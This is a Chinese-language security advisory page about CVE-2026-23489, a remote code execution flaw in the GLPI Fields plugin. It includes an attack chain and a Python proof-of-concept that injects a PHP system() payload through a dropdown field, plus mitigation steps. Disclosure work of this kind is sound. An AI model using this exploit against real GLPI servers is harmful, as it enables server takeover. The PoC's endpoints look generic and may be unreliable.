IPBUF安全漏洞报告
English
CVE-2026-23489 CVSS 9.1 严重

CVE-2026-23489 | GLPI Fields插件远程代码执行漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-23489
漏洞类型
远程代码执行(RCE)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
GLPI Fields插件(版本 < 1.23.3)

相关标签

远程代码执行RCEGLPIFields插件PHP权限滥用CVSS 9.1严重漏洞认证后攻击代码注入

漏洞概述

CVE-2026-23489是GLPI Fields插件中的一个严重远程代码执行漏洞。GLPI是一个开源的IT资产管理软件,而Fields是其官方插件,用于在GLPI的各类表单中添加自定义字段。该漏洞存在于1.23.3之前的版本中,允许具有创建下拉菜单(dropdowns)权限的高权限用户执行任意PHP代码。由于CVSS评分达到9.1(严重级别),且攻击向量为网络可利用,无需用户交互即可发起攻击,因此该漏洞对使用该插件的组织构成重大安全威胁。攻击者可通过构造恶意输入,在服务器上执行任意命令,从而完全控制受影响系统。

技术细节

该漏洞属于认证后的远程代码执行(RCE)漏洞。攻击者需要拥有GLPI Fields插件中创建dropdowns的权限(高权限要求)。漏洞根源在于插件对用户输入的下拉菜单配置参数缺乏充分的输入验证和输出编码。攻击者可以通过在创建或修改下拉菜单时,构造包含恶意PHP代码的字段值。当这些值被存储并后续被PHP引擎解析时,嵌入的PHP代码将被执行。由于CVSS向量显示攻击复杂度低(AC:L),且无需用户交互(UI:N),具有相应权限的威胁者可以较为容易地利用此漏洞。攻击成功后,攻击者可在Web服务器权限下执行任意操作系统命令,实现对系统的完全控制。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标GLPI实例,并确认Fields插件版本低于1.23.3
STEP 2
步骤2
获取高权限账户:攻击者获取或窃取具有Fields插件创建dropdowns权限的用户账户
STEP 3
步骤3
认证登录:使用窃取的凭证登录GLPI系统
STEP 4
步骤4
构造恶意Payload:在创建或修改dropdown时,注入包含PHP代码的恶意输入
STEP 5
步骤5
触发执行:访问或渲染包含恶意代码的dropdown,触发PHP代码执行
STEP 6
步骤6
命令执行:成功执行任意PHP代码后,在服务器上执行操作系统命令
STEP 7
步骤7
持久化控制:建立后门或进一步横向移动,实现对系统的持久控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-23489 PoC - GLPI Fields Plugin RCE # Target: GLPI instance with Fields plugin < 1.23.3 TARGET_URL = "http://target-glpi-url" USERNAME = "attacker_account" PASSWORD = "password" def exploit_rce(target, username, password, command): """ Exploit CVE-2026-23489: GLPI Fields Plugin RCE Requires user with dropdown creation privileges """ session = requests.Session() # Step 1: Authentication login_url = f"{target}/front/login.php" session.post(login_url, data={ 'login_name': username, 'login_password': password }) # Step 2: Create malicious dropdown with PHP payload dropdown_url = f"{target}/plugins/fields/ajax/dropdown.php" # PHP payload: system() executes OS command payload = f"<?php system('{command}'); ?>" malicious_data = { 'dropdown_name': 'malicious_field', 'dropdown_value': payload, 'itemtype': 'Computer', 'action': 'create' } response = session.post(dropdown_url, data=malicious_data) # Step 3: Trigger code execution by accessing the dropdown trigger_url = f"{target}/plugins/fields/front/dropdown.php" session.get(trigger_url, params={'id': response.json().get('id')}) return response.text # Example usage if __name__ == "__main__": result = exploit_rce(TARGET_URL, USERNAME, PASSWORD, "id > /tmp/pwned.txt") print(result)

影响范围

GLPI Fields插件 < 1.23.3

防御指南

临时缓解措施
在无法立即进行版本升级的情况下,可采取以下临时缓解措施:1) 立即撤销所有非必要用户创建dropdowns的权限,仅保留少数可信管理员;2) 在WAF或反向代理层面添加规则,检测和拦截包含<?php等PHP代码特征的请求;3) 限制Fields插件的网络访问,仅允许受信任的IP段访问管理界面;4) 启用GLPI的审计日志功能,监控可疑的管理操作;5) 考虑暂时禁用Fields插件,直至完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表